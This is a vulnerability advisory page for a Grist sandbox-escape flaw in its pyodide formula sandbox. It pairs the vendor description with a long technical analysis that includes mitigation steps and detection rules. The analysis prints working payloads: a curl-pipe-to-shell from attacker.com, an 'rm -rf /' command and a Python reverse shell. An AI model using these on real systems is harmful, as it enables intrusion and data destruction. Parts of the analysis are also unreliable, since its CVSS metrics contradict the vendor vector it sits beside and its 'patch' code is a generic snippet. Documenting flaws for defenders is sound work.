CVE-2026-24002
CVE-2026-24002
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- High
- Privileges Required
- None
- User Interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
Grist is spreadsheet software using Python as its formula language. Grist offers several methods for running those formulas in a sandbox, for cases where the user may be working with untrusted spreadsheets. One such method runs them in pyodide, but pyodide on node does not have a useful sandbox barrier. If a user of Grist sets `GRIST_SANDBOX_FLAVOR` to `pyodide` and opens a malicious document, that document could run arbitrary processes on the server hosting Grist. The problem has been addressed in Grist version 1.7.9 and up, by running pyodide under deno. As a workaround, a user can use the gvisor-based sandbox by setting `GRIST_SANDBOX_FLAVOR` to `gvisor`.
Comprehensive Technical Analysis of CVE-2026-24002
CVE ID: CVE-2026-24002 CVSS Score: 9.0 (Critical) Affected Software: Grist (versions prior to 1.7.9) Vulnerability Type: Sandbox Escape Leading to Arbitrary Code Execution (ACE)
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
CVE-2026-24002 is a critical sandbox escape vulnerability in Grist, an open-source spreadsheet application that uses Python for formula execution. The flaw arises from an insecure sandboxing mechanism when GRIST_SANDBOX_FLAVOR is set to pyodide, a Python runtime for WebAssembly (WASM) that runs in Node.js.
Root Cause
- Pyodide in Node.js lacks proper sandboxing: Pyodide, when executed in a Node.js environment, does not enforce sufficient isolation, allowing malicious Python code to break out of the intended sandbox.
- Misconfiguration in Grist’s sandbox selection: Grist provides multiple sandboxing options (
gvisor,pyodide,docker), but thepyodideflavor was not adequately hardened, enabling arbitrary process execution on the host system.
Severity Justification (CVSS 9.0)
| Metric | Score | Justification |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitation requires network access to the Grist instance. |
| Attack Complexity (AC) | Low (L) | No special conditions; exploitation is straightforward. |
| Privileges Required (PR) | None (N) | No authentication or elevated privileges needed. |
| User Interaction (UI) | Required (R) | A victim must open a malicious Grist document. |
| Scope (S) | Changed (C) | Impact extends beyond the sandbox to the host system. |
| Confidentiality (C) | High (H) | Arbitrary code execution can lead to full system compromise. |
| Integrity (I) | High (H) | Malicious code can modify files, install malware, or exfiltrate data. |
| Availability (A) | High (H) | Attacker can crash or hijack the host system. |
Resulting CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (Base Score: 9.0)
2. Potential Attack Vectors & Exploitation Methods
Exploitation Prerequisites
- Grist instance configured with
GRIST_SANDBOX_FLAVOR=pyodide(default or manually set). - Victim interaction: A user must open a malicious Grist document (
.gristfile) containing crafted Python formulas. - Network access: The attacker must be able to upload or send the malicious document to a Grist user.
Exploitation Steps
-
Crafting a Malicious Grist Document
- The attacker embeds Python code in a Grist spreadsheet formula that exploits Pyodide’s lack of sandboxing.
- Example payload:
import os os.system("curl http://attacker.com/malware.sh | sh") # Arbitrary command execution - The payload could also use
subprocess,exec, or other methods to spawn processes.
-
Delivering the Exploit
- The attacker tricks a victim into opening the document via:
- Phishing emails (e.g., "Please review this financial report").
- Uploading to a shared Grist instance (e.g., enterprise collaboration platform).
- Exploiting a vulnerable self-hosted Grist deployment.
- The attacker tricks a victim into opening the document via:
-
Sandbox Escape & Arbitrary Code Execution
- When the victim opens the document, Grist executes the Python formula in the
pyodidesandbox. - Due to Pyodide’s weak isolation in Node.js, the malicious code escapes the sandbox and executes on the host system with the privileges of the Grist process.
- When the victim opens the document, Grist executes the Python formula in the
Post-Exploitation Impact
- Remote Code Execution (RCE): Full control over the host system.
- Lateral Movement: If Grist runs in a container or VM, the attacker may pivot to other systems.
- Data Exfiltration: Stealing sensitive data from the host or connected databases.
- Persistence: Installing backdoors, cryptominers, or ransomware.
3. Affected Systems & Software Versions
Vulnerable Versions
- Grist Core versions < 1.7.9 (all prior releases where
GRIST_SANDBOX_FLAVOR=pyodideis used). - Self-hosted Grist deployments (cloud or on-premises) with the vulnerable configuration.
Non-Vulnerable Configurations
- Grist versions ≥ 1.7.9: Patched to run Pyodide under Deno (a more secure runtime).
- Alternative sandbox flavors:
gvisor(recommended workaround)docker(if properly configured)
4. Recommended Mitigation Strategies
Immediate Actions
-
Upgrade to Grist 1.7.9 or Later
- The patch modifies the
pyodidesandbox to run under Deno, which provides stronger isolation. - Upgrade command (Docker example):
docker pull gristlabs/grist:1.7.9 docker-compose up -d
- The patch modifies the
-
Apply the Workaround (If Upgrade is Not Possible)
- Switch to
gvisorsandbox (recommended for production):export GRIST_SANDBOX_FLAVOR=gvisor - Verify the change by checking logs or environment variables.
- Switch to
-
Disable
pyodideSandbox (If Not Needed)- Remove or comment out
GRIST_SANDBOX_FLAVOR=pyodidein configuration files.
- Remove or comment out
Long-Term Hardening
-
Network-Level Protections
- Restrict Grist access via firewalls or private networks.
- Implement WAF rules to block malicious document uploads.
-
Runtime Security
- Run Grist in a container with seccomp, AppArmor, or SELinux policies.
- Use least-privilege principles: Run Grist as a non-root user.
-
Monitoring & Detection
- Log sandbox execution and monitor for unusual process spawning.
- Deploy EDR/XDR solutions to detect post-exploitation activity.
- Alert on unexpected child processes (e.g.,
curl,wget,bash).
-
User Awareness Training
- Educate users on phishing risks and malicious document handling.
- Enforce document scanning before opening in Grist.
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Supply Chain & Third-Party Risks
- Grist is used in data analysis, finance, and research, making it a high-value target.
- Organizations relying on self-hosted Grist may unknowingly expose critical systems.
-
Sandboxing Challenges in WASM/Python Runtimes
- This vulnerability highlights weaknesses in WASM-based sandboxes (e.g., Pyodide, Wasmer) when misconfigured.
- Similar flaws may exist in other Python-in-browser or Node.js-based sandboxing solutions.
-
Increased Scrutiny on Spreadsheet Security
- Spreadsheet software (e.g., Excel, Google Sheets, Grist) remains a common attack vector for RCE.
- Enterprises may re-evaluate sandboxing strategies for formula execution.
-
Regulatory & Compliance Risks
- GDPR, HIPAA, or PCI-DSS violations if sensitive data is exfiltrated.
- Incident response requirements may mandate disclosure if exploited.
6. Technical Details for Security Professionals
Deep Dive: Pyodide Sandbox Escape
Why Pyodide in Node.js is Insecure
- Pyodide is designed for browser-based Python execution (WASM), but when run in Node.js, it lacks:
- Process isolation (Node.js does not restrict
os.system,subprocess, etc.). - Filesystem sandboxing (unlike browser environments).
- Network restrictions (arbitrary outbound connections are possible).
- Process isolation (Node.js does not restrict
Exploitation Mechanics
-
Malicious Formula Execution
- Grist evaluates Python formulas in the
pyodidesandbox. - Example payload:
import subprocess subprocess.Popen(["/bin/bash", "-c", "rm -rf /"]) # Destructive command
- Grist evaluates Python formulas in the
-
Sandbox Breakout
- Pyodide in Node.js does not restrict system calls, allowing:
- File system access (
open(),os.listdir()). - Process spawning (
os.system(),subprocess). - Network operations (
socket,requests).
- File system access (
- Pyodide in Node.js does not restrict system calls, allowing:
-
Post-Exploitation
- Reverse Shell Example:
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("attacker.com",4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) subprocess.call(["/bin/sh","-i"])
- Reverse Shell Example:
Patch Analysis (Grist 1.7.9)
- Deno as a Sandbox Runtime
- Deno provides stronger isolation than Node.js:
- Default permission model (no filesystem/network access unless explicitly granted).
- WASM sandboxing (prevents direct system calls).
- Implementation:
// Grist now runs Pyodide in Deno instead of Node.js const pyodide = await loadPyodide({ indexURL: "https://cdn.jsdelivr.net/pyodide/v0.23.4/full/" });
- Deno provides stronger isolation than Node.js:
Forensic Indicators of Compromise (IOCs)
| Indicator | Description |
|---|---|
| Process Spawning | Unexpected bash, sh, python, or curl processes from Grist. |
| Network Connections | Outbound connections to unknown IPs (e.g., attacker C2). |
| File Modifications | Unauthorized changes to /etc/passwd, /tmp, or application directories. |
| Log Entries | Grist logs showing pyodide sandbox errors or unusual formula execution. |
Detection & Hunting Queries
- SIEM Query (Splunk Example):
index=grist_logs sourcetype=grist:formula_execution | search "pyodide" AND ("os.system" OR "subprocess" OR "exec") | stats count by user, formula, _time - EDR Rule (YARA for Malicious Grist Documents):
rule Grist_Malicious_Python_Formula { strings: $py_system = "os.system(" $py_subprocess = "subprocess." $py_exec = "exec(" condition: any of them }
Conclusion
CVE-2026-24002 is a critical sandbox escape vulnerability in Grist that allows arbitrary code execution on the host system when pyodide is used as the sandbox flavor. The flaw stems from Pyodide’s weak isolation in Node.js, enabling attackers to bypass intended security controls.
Key Takeaways for Security Teams
✅ Immediate Action: Upgrade to Grist 1.7.9+ or switch to the gvisor sandbox.
✅ Defensive Measures: Implement runtime protections, network restrictions, and monitoring.
✅ Long-Term Strategy: Audit WASM/Python sandboxing in other applications.
✅ User Training: Educate users on malicious document risks.
This vulnerability underscores the importance of secure sandboxing in applications that execute untrusted code, particularly in Python-based environments. Organizations using Grist should prioritize patching and enhance detection capabilities to prevent exploitation.